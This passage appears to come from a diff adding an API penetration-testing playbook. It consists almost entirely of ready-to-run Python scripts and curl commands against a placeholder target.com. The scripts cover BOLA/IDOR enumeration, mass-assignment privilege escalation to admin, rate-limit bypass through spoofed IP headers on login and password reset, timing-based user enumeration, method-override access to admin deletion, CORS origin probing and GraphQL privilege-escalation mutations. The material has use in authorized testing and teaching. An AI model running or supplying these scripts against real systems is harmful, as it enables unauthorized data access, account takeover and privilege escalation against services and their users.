HEADERS = {"Authorization": ATTACKER_TOKEN, "Content-Type": "application/json"}
|
|
257
|
+
|
|
258
|
+
def test_id(args):
|
|
259
|
+
endpoint_template, obj_id = args
|
|
260
|
+
url = TARGET_BASE + endpoint_template.format(id=obj_id)
|
|
261
|
+
try:
|
|
262
|
+
r = requests.get(url, headers=HEADERS, timeout=10, allow_redirects=False)
|
|
263
|
+
if r.status_code == 200:
|
|
264
|
+
return {"url": url, "id": obj_id, "status": r.status_code, "body_len": len(r.text), "snippet": r.text[:200]}
|
|
265
|
+
except Exception:
|
|
266
|
+
pass
|
|
267
|
+
return None
|
|
268
|
+
|
|
269
|
+
findings = []
|
|
270
|
+
tasks = [(ep, i) for ep in ENDPOINTS for i in ID_RANGE]
|
|
271
|
+
|
|
272
|
+
with ThreadPoolExecutor(max_workers=20) as pool:
|
|
273
|
+
for result in tqdm(pool.map(test_id, tasks), total=len(tasks)):
|
|
274
|
+
if result:
|
|
275
|
+
findings.append(result)
|
|
276
|
+
print(f"[BOLA] {result['url']} -> {result['status']} ({result['body_len']} bytes)")
|
|
277
|
+
|
|
278
|
+
with open("bola_findings.json", "w") as f:
|
|
279
|
+
json.dump(findings, f, indent=2)
|
|
280
|
+
|
|
281
|
+
print(f"\n[+] {len(findings)} BOLA candidates found. Results saved to bola_findings.json")
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
python3 bola_scanner.py
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
#### Step 2.3 — UUID/GUID BOLA via reference leakage (ADVANCED)
|
|
289
|
+
|
|
290
|
+
UUIDs are not security controls. Harvest them from API responses, then test cross-user access.
|
|
291
|
+
|
|
292
|
+
```python
|
|
293
|
+
#!/usr/bin/env python3
|
|
294
|
+
# uuid_harvester.py — extract UUIDs from API responses and test BOLA
|
|
295
|
+
|
|
296
|
+
import re
|
|
297
|
+
import requests
|
|
298
|
+
import json
|
|
299
|
+
|
|
300
|
+
UUID_PATTERN = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', re.I)
|
|
301
|
+
|
|
302
|
+
USER_A_TOKEN = "Bearer USER_A_JWT"
|
|
303
|
+
USER_B_TOKEN = "Bearer USER_B_JWT"
|
|
304
|
+
BASE = "https://target.com/api/v1"
|
|
305
|
+
|
|
306
|
+
# Step 1: Harvest UUIDs from User A's accessible endpoints as User A
|
|
307
|
+
harvested_uuids = set()
|
|
308
|
+
harvest_endpoints = ["/users/me", "/orders", "/invoices", "/documents", "/team/members"]
|
|
309
|
+
|
|
310
|
+
for ep in harvest_endpoints:
|
|
311
|
+
r = requests.get(BASE + ep, headers={"Authorization": USER_A_TOKEN})
|
|
312
|
+
if r.status_code == 200:
|
|
313
|
+
found = UUID_PATTERN.findall(r.text)
|
|
314
|
+
harvested_uuids.update(found)
|
|
315
|
+
print(f"[+] {ep}: {len(found)} UUIDs found")
|
|
316
|
+
|
|
317
|
+
print(f"\n[*] Total unique UUIDs harvested: {len(harvested_uuids)}")
|
|
318
|
+
|
|
319
|
+
# Step 2: Test each UUID as User B across all resource endpoints
|
|
320
|
+
resource_endpoints = [
|
|
321
|
+
"/users/{id}", "/orders/{id}", "/invoices/{id}", "/documents/{id}",
|
|
322
|
+
"/reports/{id}", "/exports/{id}", "/backups/{id}", "/audit-logs/{id}",
|
|
323
|
+
]
|
|
324
|
+
|
|
325
|
+
bola_findings = []
|
|
326
|
+
for uuid in harvested_uuids:
|
|
327
|
+
for ep_template in resource_endpoints:
|
|
328
|
+
url = BASE + ep_template.format(id=uuid)
|
|
329
|
+
r = requests.get(url, headers={"Authorization": USER_B_TOKEN}, timeout=10)
|
|
330
|
+
if r.status_code == 200 and len(r.text) > 50:
|
|
331
|
+
bola_findings.append({"uuid": uuid, "url": url, "response": r.text[:500]})
|
|
332
|
+
print(f"[BOLA] {url}")
|
|
333
|
+
|
|
334
|
+
with open("uuid_bola.json", "w") as f:
|
|
335
|
+
json.dump(bola_findings, f, indent=2)
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
#### Step 2.4 — BOLA via indirect references and hashed IDs (EXPERT)
|
|
339
|
+
|
|
340
|
+
```python
|
|
341
|
+
#!/usr/bin/env python3
|
|
342
|
+
# indirect_bola.py — test BOLA where IDs are encoded/hashed
|
|
343
|
+
|
|
344
|
+
import hashlib
|
|
345
|
+
import base64
|
|
346
|
+
import requests
|
|
347
|
+
|
|
348
|
+
BASE = "https://target.com/api/v1"
|
|
349
|
+
ATTACKER_TOKEN = "Bearer YOUR_JWT"
|
|
350
|
+
|
|
351
|
+
# Many apps use predictable "obfuscation"
|
|
352
|
+
def generate_id_variants(numeric_id):
|
|
353
|
+
variants = []
|
|
354
|
+
# Base64 encoded
|
|
355
|
+
variants.append(base64.b64encode(str(numeric_id).encode()).decode())
|
|
356
|
+
variants.append(base64.urlsafe_b64encode(str(numeric_id).encode()).decode().rstrip('='))
|
|
357
|
+
# MD5 hash
|
|
358
|
+
variants.append(hashlib.md5(str(numeric_id).encode()).hexdigest())
|
|
359
|
+
# SHA1
|
|
360
|
+
variants.append(hashlib.sha1(str(numeric_id).encode()).hexdigest())
|
|
361
|
+
# Hex encoded
|
|
362
|
+
variants.append(hex(numeric_id)[2:])
|
|
363
|
+
# Padded
|
|
364
|
+
variants.append(str(numeric_id).zfill(8))
|
|
365
|
+
# Double base64
|
|
366
|
+
variants.append(base64.b64encode(base64.b64encode(str(numeric_id).encode())).decode())
|
|
367
|
+
return variants
|
|
368
|
+
|
|
369
|
+
for numeric_id in range(1, 500):
|
|
370
|
+
for variant in generate_id_variants(numeric_id):
|
|
371
|
+
r = requests.get(f"{BASE}/users/{variant}",
|
|
372
|
+
headers={"Authorization": ATTACKER_TOKEN}, timeout=5)
|
|
373
|
+
if r.status_code == 200 and 'email' in r.text.lower():
|
|
374
|
+
print(f"[BOLA] ID {numeric_id} via variant '{variant}': {r.text[:150]}")
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
---
|
|
378
|
+
|
|
379
|
+
### Phase 3: REST API — Mass Assignment
|
|
380
|
+
|
|
381
|
+
#### Step 3.1 — Identify writable fields (BEGINNER)
|
|
382
|
+
|
|
383
|
+
```bash
|
|
384
|
+
# Compare GET response fields vs PUT/PATCH accepted fields
|
|
385
|
+
# Step 1: Get the resource schema from GET
|
|
386
|
+
curl -s https://target.com/api/v1/users/me \
|
|
387
|
+
-H "Authorization: Bearer YOUR_JWT" | jq keys
|
|
388
|
+
|
|
389
|
+
# Step 2: Send PUT with additional fields from the schema
|
|
390
|
+
curl -s -X PUT https://target.com/api/v1/users/me \
|
|
391
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
392
|
+
-H "Content-Type: application/json" \
|
|
393
|
+
-d '{"name": "Test", "email": "test@test.com", "role": "admin", "isVerified": true, "credits": 99999, "plan": "enterprise"}'
|
|
394
|
+
|
|
395
|
+
# Step 3: Verify if privileged fields were accepted
|
|
396
|
+
curl -s https://target.com/api/v1/users/me \
|
|
397
|
+
-H "Authorization: Bearer YOUR_JWT" | jq '{role, isVerified, credits, plan}'
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
#### Step 3.2 — Automated mass assignment probe (INTERMEDIATE)
|
|
401
|
+
|
|
402
|
+
```python
|
|
403
|
+
#!/usr/bin/env python3
|
|
404
|
+
# mass_assignment.py — brute-force hidden writable fields
|
|
405
|
+
|
|
406
|
+
import requests
|
|
407
|
+
import json
|
|
408
|
+
|
|
409
|
+
BASE = "https://target.com/api/v1"
|
|
410
|
+
TOKEN = "Bearer YOUR_JWT"
|
|
411
|
+
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
|
|
412
|
+
|
|
413
|
+
# Common privileged field names to probe
|
|
414
|
+
PRIVILEGED_FIELDS = [
|
|
415
|
+
"role", "roles", "is_admin", "isAdmin", "admin", "superuser",
|
|
416
|
+
"is_verified", "isVerified", "verified", "email_verified",
|
|
417
|
+
"credits", "balance", "wallet", "points",
|
|
418
|
+
"plan", "subscription", "tier", "level",
|
|
419
|
+
"is_active", "isActive", "status", "account_status",
|
|
420
|
+
"permissions", "scopes", "groups",
|
|
421
|
+
"internal", "staff", "employee",
|
|
422
|
+
"discount", "discount_percentage",
|
|
423
|
+
"free_trial", "trial_end_date",
|
|
424
|
+
"api_limit", "rate_limit", "quota",
|
|
425
|
+
"_id", "id", "user_id", "owner_id",
|
|
426
|
+
]
|
|
427
|
+
|
|
428
|
+
# Endpoints to test
|
|
429
|
+
TEST_ENDPOINTS = [
|
|
430
|
+
("PUT", "/users/me"),
|
|
431
|
+
("PATCH", "/users/me"),
|
|
432
|
+
("PUT", "/profile"),
|
|
433
|
+
("PATCH", "/profile"),
|
|
434
|
+
("POST", "/users/me/update"),
|
|
435
|
+
]
|
|
436
|
+
|
|
437
|
+
# First, get baseline state
|
|
438
|
+
baseline = requests.get(BASE + "/users/me", headers=HEADERS).json()
|
|
439
|
+
print(f"[*] Baseline state: {json.dumps(baseline, indent=2)}")
|
|
440
|
+
|
|
441
|
+
confirmed_writable = []
|
|
442
|
+
for method, endpoint in TEST_ENDPOINTS:
|
|
443
|
+
for field in PRIVILEGED_FIELDS:
|
|
444
|
+
# Try with a clear signal value
|
|
445
|
+
payload = {field: "MASS_ASSIGN_TEST_" + field}
|
|
446
|
+
r = requests.request(method, BASE + endpoint,
|
|
447
|
+
headers=HEADERS, json=payload, timeout=10)
|
|
448
|
+
if r.status_code in (200, 201, 204):
|
|
449
|
+
# Verify if the field changed
|
|
450
|
+
check = requests.get(BASE + "/users/me", headers=HEADERS).json()
|
|
451
|
+
# Flatten for comparison
|
|
452
|
+
check_str = json.dumps(check)
|
|
453
|
+
if "MASS_ASSIGN_TEST" in check_str or field not in json.dumps(baseline):
|
|
454
|
+
confirmed_writable.append({
|
|
455
|
+
"method": method, "endpoint": endpoint,
|
|
456
|
+
"field": field, "response": r.text[:300]
|
|
457
|
+
})
|
|
458
|
+
print(f"[MASS ASSIGNMENT] {method} {endpoint} -> field '{field}' accepted!")
|
|
459
|
+
|
|
460
|
+
print(f"\n[+] Confirmed writable fields: {[f['field'] for f in confirmed_writable]}")
|
|
461
|
+
with open("mass_assignment.json", "w") as f:
|
|
462
|
+
json.dump(confirmed_writable, f, indent=2)
|
|
463
|
+
```
|
|
464
|
+
|
|
465
|
+
#### Step 3.3 — Mass assignment via nested objects and arrays (ADVANCED)
|
|
466
|
+
|
|
467
|
+
```bash
|
|
468
|
+
# Nested role escalation
|
|
469
|
+
curl -s -X PATCH https://target.com/api/v1/users/me \
|
|
470
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
471
|
+
-H "Content-Type: application/json" \
|
|
472
|
+
-d '{"profile": {"role": "admin"}, "metadata": {"permissions": ["admin", "write", "read"]}}'
|
|
473
|
+
|
|
474
|
+
# Array-based role assignment
|
|
475
|
+
curl -s -X PATCH https://target.com/api/v1/users/me \
|
|
476
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
477
|
+
-H "Content-Type: application/json" \
|
|
478
|
+
-d '{"roles": ["admin", "superuser"], "groups": [1, 2, 3]}'
|
|
479
|
+
|
|
480
|
+
# Via registration endpoint (often less restricted)
|
|
481
|
+
curl -s -X POST https://target.com/api/v1/register \
|
|
482
|
+
-H "Content-Type: application/json" \
|
|
483
|
+
-d '{"username": "test123", "password": "P@ssw0rd!", "email": "test@attacker.com",
|
|
484
|
+
"role": "admin", "isVerified": true, "plan": "enterprise", "credits": 99999}'
|
|
485
|
+
|
|
486
|
+
# Via user update with HTTP PUT (full replacement — may accept more fields)
|
|
487
|
+
curl -s -X PUT https://target.com/api/v1/users/me \
|
|
488
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
489
|
+
-H "Content-Type: application/json" \
|
|
490
|
+
-d '{"name": "Attacker", "email": "me@test.com", "role": "admin",
|
|
491
|
+
"isAdmin": true, "permissions": ["*"], "account_type": "enterprise"}'
|
|
492
|
+
|
|
493
|
+
# Parameter pollution — duplicate keys (framework-dependent)
|
|
494
|
+
curl -s -X POST https://target.com/api/v1/users/me \
|
|
495
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
496
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
497
|
+
-d 'name=test&role=user&role=admin'
|
|
498
|
+
```
|
|
499
|
+
|
|
500
|
+
---
|
|
501
|
+
|
|
502
|
+
### Phase 4: REST API — Rate Limit Bypass
|
|
503
|
+
|
|
504
|
+
#### Step 4.1 — Fingerprint rate limiting (BEGINNER)
|
|
505
|
+
|
|
506
|
+
```bash
|
|
507
|
+
# Send rapid requests and observe 429 responses
|
|
508
|
+
for i in $(seq 1 100); do
|
|
509
|
+
curl -so /dev/null -w "%{http_code}\n" \
|
|
510
|
+
https://target.com/api/v1/users/me \
|
|
511
|
+
-H "Authorization: Bearer YOUR_JWT"
|
|
512
|
+
done | sort | uniq -c
|
|
513
|
+
|
|
514
|
+
# Check rate limit headers
|
|
515
|
+
curl -si https://target.com/api/v1/users/me \
|
|
516
|
+
-H "Authorization: Bearer YOUR_JWT" | grep -i "x-ratelimit\|retry-after\|x-rate"
|
|
517
|
+
```
|
|
518
|
+
|
|
519
|
+
#### Step 4.2 — IP-based rate limit bypass (INTERMEDIATE)
|
|
520
|
+
|
|
521
|
+
```bash
|
|
522
|
+
# X-Forwarded-For rotation
|
|
523
|
+
for ip in 1.2.3.{1..100}; do
|
|
524
|
+
curl -s -X POST https://target.com/api/v1/auth/reset-password \
|
|
525
|
+
-H "Content-Type: application/json" \
|
|
526
|
+
-H "X-Forwarded-For: $ip" \
|
|
527
|
+
-d '{"email": "victim@target.com"}' &
|
|
528
|
+
done
|
|
529
|
+
wait
|
|
530
|
+
|
|
531
|
+
# Additional headers that may override IP
|
|
532
|
+
# X-Real-IP, X-Originating-IP, X-Remote-IP, X-Client-IP, CF-Connecting-IP
|
|
533
|
+
BYPASS_HEADERS=("X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Remote-IP" "X-Client-IP" "True-Client-IP" "CF-Connecting-IP")
|
|
534
|
+
for header in "${BYPASS_HEADERS[@]}"; do
|
|
535
|
+
echo -n "[$header] "
|
|
536
|
+
curl -s -o /dev/null -w "%{http_code}" \
|
|
537
|
+
-X POST https://target.com/api/v1/auth/login \
|
|
538
|
+
-H "Content-Type: application/json" \
|
|
539
|
+
-H "$header: 10.0.0.1" \
|
|
540
|
+
-d '{"email": "victim@target.com", "password": "wrong"}'
|
|
541
|
+
echo
|
|
542
|
+
done
|
|
543
|
+
```
|
|
544
|
+
|
|
545
|
+
#### Step 4.3 — Account enumeration via timing (ADVANCED)
|
|
546
|
+
|
|
547
|
+
```python
|
|
548
|
+
#!/usr/bin/env python3
|
|
549
|
+
# timing_enum.py — user enumeration via response timing differences
|
|
550
|
+
|
|
551
|
+
import requests
|
|
552
|
+
import time
|
|
553
|
+
import statistics
|
|
554
|
+
|
|
555
|
+
BASE = "https://target.com/api/v1"
|
|
556
|
+
EMAILS = ["admin@target.com", "noreply@target.com", "test@target.com",
|
|
557
|
+
"nonexistent_xyz123@target.com", "info@target.com"]
|
|
558
|
+
|
|
559
|
+
def measure_timing(email, samples=5):
|
|
560
|
+
times = []
|
|
561
|
+
for _ in range(samples):
|
|
562
|
+
start = time.perf_counter()
|
|
563
|
+
requests.post(BASE + "/auth/login",
|
|
564
|
+
json={"email": email, "password": "WrongPassword123!"},
|
|
565
|
+
timeout=15)
|
|
566
|
+
elapsed = time.perf_counter() - start
|
|
567
|
+
times.append(elapsed)
|
|
568
|
+
return statistics.mean(times), statistics.stdev(times)
|
|
569
|
+
|
|
570
|
+
print("Timing-based user enumeration:")
|
|
571
|
+
print(f"{'Email':<40} {'Mean (ms)':>10} {'StdDev':>10}")
|
|
572
|
+
print("-" * 65)
|
|
573
|
+
for email in EMAILS:
|
|
574
|
+
mean, stdev = measure_timing(email)
|
|
575
|
+
flag = " <-- EXISTS?" if mean > 0.5 else ""
|
|
576
|
+
print(f"{email:<40} {mean*1000:>10.1f} {stdev*1000:>10.1f}{flag}")
|
|
577
|
+
```
|
|
578
|
+
|
|
579
|
+
---
|
|
580
|
+
|
|
581
|
+
### Phase 5: REST API — HTTP Method Confusion
|
|
582
|
+
|
|
583
|
+
#### Step 5.1 — Method override attacks (INTERMEDIATE)
|
|
584
|
+
|
|
585
|
+
```bash
|
|
586
|
+
# Try every HTTP method on each endpoint
|
|
587
|
+
for method in GET POST PUT PATCH DELETE HEAD OPTIONS TRACE CONNECT; do
|
|
588
|
+
echo -n "[$method] "
|
|
589
|
+
curl -s -o /dev/null -w "%{http_code}" \
|
|
590
|
+
-X $method https://target.com/api/v1/admin/users \
|
|
591
|
+
-H "Authorization: Bearer LOW_PRIV_JWT"
|
|
592
|
+
echo
|
|
593
|
+
done
|
|
594
|
+
|
|
595
|
+
# HTTP method override headers (bypass method-based ACLs)
|
|
596
|
+
for override in "X-HTTP-Method-Override: DELETE" "X-Method-Override: DELETE" \
|
|
597
|
+
"X-HTTP-Method: DELETE" "_method=DELETE"; do
|
|
598
|
+
echo "Testing: $override"
|
|
599
|
+
curl -s -o /dev/null -w "%{http_code}" \
|
|
600
|
+
-X POST https://target.com/api/v1/admin/users/1 \
|
|
601
|
+
-H "Authorization: Bearer LOW_PRIV_JWT" \
|
|
602
|
+
-H "$override"
|
|
603
|
+
echo
|
|
604
|
+
done
|
|
605
|
+
|
|
606
|
+
# Query parameter method override
|
|
607
|
+
curl -s -X POST "https://target.com/api/v1/admin/users/1?_method=DELETE" \
|
|
608
|
+
-H "Authorization: Bearer LOW_PRIV_JWT"
|
|
609
|
+
|
|
610
|
+
# Verb tunneling — PUT inside POST body
|
|
611
|
+
curl -s -X POST https://target.com/api/v1/users/me \
|
|
612
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
613
|
+
-H "X-HTTP-Method-Override: PUT" \
|
|
614
|
+
-H "Content-Type: application/json" \
|
|
615
|
+
-d '{"role": "admin"}'
|
|
616
|
+
```
|
|
617
|
+
|
|
618
|
+
---
|
|
619
|
+
|
|
620
|
+
### Phase 6: REST API — CORS Misconfiguration
|
|
621
|
+
|
|
622
|
+
#### Step 6.1 — CORS testing (BEGINNER/INTERMEDIATE)
|
|
623
|
+
|
|
624
|
+
```bash
|
|
625
|
+
# Test wildcard CORS
|
|
626
|
+
curl -si https://target.com/api/v1/users/me \
|
|
627
|
+
-H "Origin: https://evil.com" \
|
|
628
|
+
-H "Authorization: Bearer YOUR_JWT" | grep -i "access-control"
|
|
629
|
+
|
|
630
|
+
# Test null origin
|
|
631
|
+
curl -si https://target.com/api/v1/users/me \
|
|
632
|
+
-H "Origin: null" \
|
|
633
|
+
-H "Authorization: Bearer YOUR_JWT" | grep -i "access-control"
|
|
634
|
+
|
|
635
|
+
# Test subdomain bypass
|
|
636
|
+
curl -si https://target.com/api/v1/users/me \
|
|
637
|
+
-H "Origin: https://evil.target.com" \
|
|
638
|
+
-H "Authorization: Bearer YOUR_JWT" | grep -i "access-control"
|
|
639
|
+
|
|
640
|
+
# Test origin reflection
|
|
641
|
+
curl -si https://target.com/api/v1/users/me \
|
|
642
|
+
-H "Origin: https://attacker.com" \
|
|
643
|
+
-H "Authorization: Bearer YOUR_JWT" | grep -i "access-control-allow-origin"
|
|
644
|
+
|
|
645
|
+
# Automated CORS testing with nuclei
|
|
646
|
+
nuclei -u https://target.com -t ~/nuclei-templates/vulnerabilities/cors/ \
|
|
647
|
+
-H "Authorization: Bearer YOUR_JWT"
|
|
648
|
+
```
|
|
649
|
+
|
|
650
|
+
```python
|
|
651
|
+
# cors_tester.py — systematic CORS origin testing
|
|
652
|
+
import requests
|
|
653
|
+
|
|
654
|
+
BASE = "https://target.com/api/v1"
|
|
655
|
+
TOKEN = "Bearer YOUR_JWT"
|
|
656
|
+
ENDPOINTS = ["/users/me", "/orders", "/invoices", "/admin/users"]
|
|
657
|
+
|
|
658
|
+
test_origins = [
|
|
659
|
+
"https://evil.com",
|
|
660
|
+
"null",
|
|
661
|
+
"https://evil.target.com",
|
|
662
|
+
"https://target.com.evil.com",
|
|
663
|
+
"https://target-com.evil.com",
|
|
664
|
+
"http://target.com", # HTTP downgrade
|
|
665
|
+
"https://target.com%60.evil.com", # URL encoding
|
|
666
|
+
"https://notarget.com",
|
|
667
|
+
"https://target.com\\.evil.com", # Backslash bypass
|
|
668
|
+
]
|
|
669
|
+
|
|
670
|
+
for endpoint in ENDPOINTS:
|
|
671
|
+
for origin in test_origins:
|
|
672
|
+
r = requests.get(BASE + endpoint,
|
|
673
|
+
headers={"Authorization": TOKEN, "Origin": origin})
|
|
674
|
+
acao = r.headers.get("Access-Control-Allow-Origin", "")
|
|
675
|
+
acac = r.headers.get("Access-Control-Allow-Credentials", "false")
|
|
676
|
+
if origin in acao or acao == "*":
|
|
677
|
+
vuln_flag = " [VULNERABLE]" if acac.lower() == "true" else " [MISCONFIGURED]"
|
|
678
|
+
print(f"{endpoint} | Origin: {origin} -> ACAO: {acao}{vuln_flag}")
|
|
679
|
+
```
|
|
680
|
+
|
|
681
|
+
---
|
|
682
|
+
|
|
683
|
+
### Phase 7: GraphQL — Introspection Abuse
|
|
684
|
+
|
|
685
|
+
#### Step 7.1 — Basic introspection query (BEGINNER)
|
|
686
|
+
|
|
687
|
+
```bash
|
|
688
|
+
# Check if introspection is enabled
|
|
689
|
+
curl -s -X POST https://target.com/graphql \
|
|
690
|
+
-H "Content-Type: application/json" \
|
|
691
|
+
-d '{"query": "{ __schema { queryType { name } } }"}' | jq .
|
|
692
|
+
|
|
693
|
+
# Full introspection dump
|
|
694
|
+
curl -s -X POST https://target.com/graphql \
|
|
695
|
+
-H "Content-Type: application/json" \
|
|
696
|
+
-d '{
|
|
697
|
+
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"
|
|
698
|
+
}' > introspection_dump.json
|
|
699
|
+
|
|
700
|
+
# Parse types from dump
|
|
701
|
+
cat introspection_dump.json | jq '.data.__schema.types[].name' | grep -v '^"__'
|
|
702
|
+
|
|
703
|
+
# Parse all queries
|
|
704
|
+
cat introspection_dump.json | jq '.data.__schema.types[] | select(.name == "Query") | .fields[].name'
|
|
705
|
+
|
|
706
|
+
# Parse all mutations
|
|
707
|
+
cat introspection_dump.json | jq '.data.__schema.types[] | select(.name == "Mutation") | .fields[].name'
|
|
708
|
+
```
|
|
709
|
+
|
|
710
|
+
#### Step 7.2 — Introspection with graphw00f
|
|
711
|
+
|
|
712
|
+
```bash
|
|
713
|
+
# Full detection and introspection pipeline
|
|
714
|
+
graphw00f -d -t https://target.com/graphql -o graphw00f_output.json
|
|
715
|
+
|
|
716
|
+
# Use graphw00f to detect disabled introspection (confirms GraphQL presence even without introspection)
|
|
717
|
+
# graphw00f uses error message fingerprinting, not just introspection queries
|
|
718
|
+
graphw00f -f -t https://target.com/graphql
|
|
719
|
+
|
|
720
|
+
# Generate introspection report
|
|
721
|
+
graphw00f -d -t https://target.com/graphql --format json -o engine_info.json
|
|
722
|
+
cat engine_info.json | jq .
|
|
723
|
+
```
|
|
724
|
+
|
|
725
|
+
#### Step 7.3 — Exploiting introspection findings (ADVANCED)
|
|
726
|
+
|
|
727
|
+
```python
|
|
728
|
+
#!/usr/bin/env python3
|
|
729
|
+
# graphql_exploit.py — enumerate and test mutations from introspection
|
|
730
|
+
|
|
731
|
+
import requests
|
|
732
|
+
import json
|
|
733
|
+
|
|
734
|
+
GRAPHQL_URL = "https://target.com/graphql"
|
|
735
|
+
TOKEN = "Bearer YOUR_JWT"
|
|
736
|
+
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
|
|
737
|
+
|
|
738
|
+
def gql(query, variables=None):
|
|
739
|
+
payload = {"query": query}
|
|
740
|
+
if variables:
|
|
741
|
+
payload["variables"] = variables
|
|
742
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload)
|
|
743
|
+
return r.json()
|
|
744
|
+
|
|
745
|
+
# Get all mutations
|
|
746
|
+
result = gql("""
|
|
747
|
+
{ __schema {
|
|
748
|
+
types {
|
|
749
|
+
name
|
|
750
|
+
kind
|
|
751
|
+
fields { name description args { name type { name kind ofType { name kind } } } }
|
|
752
|
+
}
|
|
753
|
+
}
|
|
754
|
+
}
|
|
755
|
+
""")
|
|
756
|
+
|
|
757
|
+
mutations = [t for t in result["data"]["__schema"]["types"] if t["name"] == "Mutation"]
|
|
758
|
+
if mutations:
|
|
759
|
+
print("[*] Available Mutations:")
|
|
760
|
+
for field in mutations[0].get("fields", []):
|
|
761
|
+
print(f" - {field['name']}")
|
|
762
|
+
for arg in field.get("args", []):
|
|
763
|
+
print(f" arg: {arg['name']} ({arg.get('type', {}).get('name', 'complex')})")
|
|
764
|
+
|
|
765
|
+
# Test privilege escalation mutations
|
|
766
|
+
priv_esc_mutations = [
|
|
767
|
+
'updateUserRole(userId: "1", role: "ADMIN") { id role }',
|
|
768
|
+
'grantAdminAccess(userId: "1") { success }',
|
|
769
|
+
'updatePermissions(userId: "1", permissions: ["ADMIN"]) { id }',
|
|
770
|
+
'makeUserAdmin(id: "1") { id isAdmin }',
|
|
771
|
+
]
|
|
772
|
+
|
|
773
|
+
print("\n[*] Testing privilege escalation mutations:")
|
|
774
|
+
for mutation in priv_esc_mutations:
|
|
775
|
+
result = gql(f"mutation {{ {mutation} }}")
|
|
776
|
+
if "errors" not in result:
|
|
777
|
+
print(f"[VULN] mutation {{ {mutation} }}")
|
|
778
|
+
print(f" Response: {json.dumps(result)[:200]}")
|
|
779
|
+
else:
|
|
780
|
+
print(f"[-] {mutation[:60]}... -> {result['errors'][0]['message'][:80]}")
|
|
781
|
+
```
|
|
782
|
+
|
|
783
|
+
---
|
|
784
|
+
|
|
785
|
+
### Phase 8: GraphQL — Schema Recovery Without Introspection (clairvoyance)
|
|
786
|
+
|
|
787
|
+
#### Step 8.1 — Run clairvoyance (INTERMEDIATE)
|
|
788
|
+
|
|
789
|
+
```bash
|
|
790
|
+
# Install clairvoyance
|
|
791
|
+
pip install clairvoyance
|
|
792
|
+
|
|
793
|
+
# Basic field suggestion harvesting
|
|
794
|
+
clairvoyance -u https://target.com/graphql \
|
|
795
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
796
|
+
-o schema.json \
|
|
797
|
+
-w /opt/SecLists/Discovery/Web-Content/graphql.txt
|
|
798
|
+
|
|
799
|
+
# With custom headers (API key, session cookie)
|
|
800
|
+
clairvoyance -u https://target.com/graphql \
|
|
801
|
+
-H "Authorization: Bearer JWT" \
|
|
802
|
+
-H "X-API-Key: YOUR_KEY" \
|
|
803
|
+
-o schema.json
|
|
804
|
+
|
|
805
|
+
# Use broader wordlist for better coverage
|
|
806
|
+
clairvoyance -u https://target.com/graphql \
|
|
807
|
+
-H "Authorization: Bearer YOUR_JWT" \
|
|
808
|
+
-w /opt/SecLists/Discovery/Variables/secret-keywords.txt \
|
|
809
|
+
-o schema_extended.json
|
|
810
|
+
|
|
811
|
+
# Convert recovered schema to SDL (Schema Definition Language)
|
|
812
|
+
python3 -c "
|
|
813
|
+
import json
|
|
814
|
+
data = json.load(open('schema.json'))
|
|
815
|
+
print(json.dumps(data, indent=2))
|
|
816
|
+
"
|
|
817
|
+
```
|
|
818
|
+
|
|
819
|
+
#### Step 8.2 — Manual field suggestion harvesting (ADVANCED)
|
|
820
|
+
|
|
821
|
+
GraphQL returns suggestions like: `Did you mean 'userSecret'?` when you query a near-match field.
|
|
822
|
+
|
|
823
|
+
```python
|
|
824
|
+
#!/usr/bin/env python3
|
|
825
|
+
# field_suggester.py — extract schema via GraphQL error messages
|
|
826
|
+
|
|
827
|
+
import requests
|
|
828
|
+
import re
|
|
829
|
+
import string
|
|
830
|
+
import json
|
|
831
|
+
from itertools import product
|
|
832
|
+
|
|
833
|
+
GRAPHQL_URL = "https://target.com/graphql"
|
|
834
|
+
TOKEN = "Bearer YOUR_JWT"
|
|
835
|
+
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
|
|
836
|
+
|
|
837
|
+
SUGGESTION_PATTERN = re.compile(r"Did you mean[:\s]+['\"]?(\w+)['\"]?", re.IGNORECASE)
|
|
838
|
+
|
|
839
|
+
discovered_fields = set()
|
|
840
|
+
|
|
841
|
+
def query_field(field_name, type_name="Query"):
|
|
842
|
+
payload = {"query": f"{{ {field_name} }}"}
|
|
843
|
+
try:
|
|
844
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
|
|
845
|
+
data = r.json()
|
|
846
|
+
errors = data.get("errors", [])
|
|
847
|
+
for error in errors:
|
|
848
|
+
msg = error.get("message", "")
|
|
849
|
+
matches = SUGGESTION_PATTERN.findall(msg)
|
|
850
|
+
for match in matches:
|
|
851
|
+
if match not in discovered_fields:
|
|
852
|
+
discovered_fields.add(match)
|
|
853
|
+
print(f"[+] Discovered field: {match}")
|
|
854
|
+
return errors
|
|
855
|
+
except Exception as e:
|
|
856
|
+
return []
|
|
857
|
+
|
|
858
|
+
# Probe with common prefixes + single chars to trigger suggestions
|
|
859
|
+
